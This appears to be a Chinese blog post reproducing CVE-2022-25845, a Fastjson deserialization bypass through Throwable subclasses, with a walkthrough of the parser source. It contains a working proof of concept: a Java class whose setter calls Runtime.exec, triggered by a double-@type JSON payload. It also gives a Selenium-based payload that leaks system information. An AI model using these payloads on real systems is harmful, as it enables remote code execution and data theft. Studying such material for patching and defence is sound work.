CVE-2022-25845 复现

CVE-2022-25845 漏洞复现

Fastjson前置知识

这里简单说一下自己的理解
详细的介绍可以参考Drun1baby的blog
Fastjson是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Object 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 Java Object。
相关的函数包括JSON.parse() 和 JSON.parseObject()
简单的使用:

Json.ToString(person)   //加上参数SerializerFeature.WriteClassName,用于表示所属类,会以@type作为属性名
  -----序列化,调用了get方法
  
 Json.parse(String)  //没有指定属性名会默认将JSON反序列化为了JSONObject,不会调用任何方法
 
 String JSON_Serialize = "{\"@type\":\"Person\",\"age\":18,\"name\":\"Faster\"}";
 JSON.parse(JSON_Serialize);     //如果有则还会调用构造函数和set方法
 
 JSON.parseObject(JSON_Serialize)   //而parseObject()方法会同时调用setter和getter
 JSON.parseObject(JSON_Serialize,Person.class)

会在反射获取的方法中循环遍历寻找特定的setter和getter。条件如下
满足条件的setter:

  • 非静态函数
  • 返回类型为void或当前类
  • 参数个数为1个

满足条件的getter:

  • 非静态方法
  • 无参数
  • 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

AutoType简介

在Fastjson1.2.25版本里面,Java引入了checkAutoType()检查,会对加载的类进行白名单和黑名单检查。
autoTypeSupport默认为False,此时只会验证白名单
当autoTypeSupport开启时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤

开启AutoType的情况下有很多相关的绕过方式,可以自行查阅
这篇文章主要讲一下如何绕过AutoTyoe默认禁用策略——CVE-2022-25845

CVE-2022-25845 介绍

原理

绕过AutoTyoe默认禁用策略
漏洞的核心在于:只要目标类扩展了该类Throwable, Fastjson 就会很乐意反序列化任意类!

Demo

POC.java

import java.io.IOException;

public class Poc extends Error {
    public void setName(String str) {
        try {
            Runtime.getRuntime().exec(str);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

POCDemo.java

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import java.io.IOException;
public class PocDemo {
    public static void main(String[] args) throws IOException {
        String json = " {\"@type\":\"java.lang.Exception\",\"@type\":\"org.example.Poc\",\"name\":\"calc .exe\"}";
            JSON.parseObject(json);
            JSON.parse(json);
//Runtime.getRuntime().exec("calc.exe");
        }
    }

绕过AutoTyoe默认禁用策略

下面来分析一下
断点打在JSON.parseObject(json);开启调试
首先是parse嵌套,加载相关的类(loadClass)
在这里插入图片描述

DefaultJSONParser构造方法赋值完之后,在原来的parse函数当中执行 parser.parse()
然后执行 DefaultJSONParser.parseObject(final Map object, Object fieldName) 方法,其
中用key的值和 JSON.DEFAULT_TYPE_KEY 进行比较,如果符合条件则执行该if语句块的内容,if语句块当中执行了 ParserConfig.checkAutoType

if (key == JSON.DEFAULT_TYPE_KEY
        && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
    String typeName = lexer.scanSymbol(symbolTable, '"');
 
    if (lexer.isEnabled(Feature.IgnoreAutoType)) {
        continue;
    }

最终,使用所有默认标志,代码将到达config.checkAutoType()。在这里,我们可以看到被列入黑名单的类列表,因此无法通过 AutoType 机制实例化:

最终,代码将尝试找到用于反序列化 JSON 序列化类的反序列化器ObjectDeserializer:

ObjectDeserializer deserializer = config.getDeserializer(clazz);
                    Class deserClass = deserializer.getClass();
                    if (JavaBeanDeserializer.class.isAssignableFrom(deserClass)
                            && deserClass != JavaBeanDeserializer.class
                            && deserClass != ThrowableDeserializer.class) {
                        this.setResolveStatus(NONE);
                    } else if (deserializer instanceof MapDeserializer) {
                        this.setResolveStatus(NONE);
                    }
                    Object obj = deserializer.deserialze(this, clazz, fieldName);

在 ParserConfig.getDeserializer() 中,我们有一个关键检查,用于验证目标类是否正在扩展该类Throwable(正是漏洞的核心):

} else if (Throwable.class.isAssignableFrom(clazz)) {
            deserializer = new ThrowableDeserializer(this, clazz);

ThrowableDeserializer.deserialize()处理其余数据。如果找到“@type”,它将检查它autoTypeCheck()并继续正常反序列化:

if (JSON.DEFAULT_TYPE_KEY.equals(key)) {
                if (lexer.token() == JSONToken.LITERAL_STRING) {
                    String exClassName = lexer.stringVal();
                    exClass = parser.getConfig().checkAutoType(exClassName, Throwable.class, lexer.getFeatures());

因此,只要目标类扩展了Throwable, Fastjson就会正常反序列化它。
在这种情况下,负责创建反序列化类的函数**createException()**会查找 3 种不同类型的构造函数 - 一种没有任何参数,一种带有消息参数,一种带有消息和原因参数。之后,它将首先尝试调用更复杂的构造函数(causeConstructor,messageConstructor然后defaultConstructor),然后调用每个成员的setter方法。

利用方式

通过上面分析我们知道,当类扩展了Throwable, Fastjson就会正常反序列化它。因此只要我们找到一个扩展了Throwable的工具类,且它有可控的构造函数或者setter函数,就可以利用。

Selenium 数据泄露

目前发布是利用方式是来自Selenium包下的数据泄露的利用,,危害性很低

{
    "x":{
      "@type":"java.lang.Exception",
      "@type":"org.openqa.selenium.WebDriverException"
    },
    "y":{
      "$ref":"$x.systemInformation"
    }
}

反序列化此 JSON 最终将创建一个 HashMap,其中“y”设置为有关机器的一些基本信息:

"System info: host: '', ip: '', os.name: '', os.arch: '', os.version: '', java.version: ''"
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值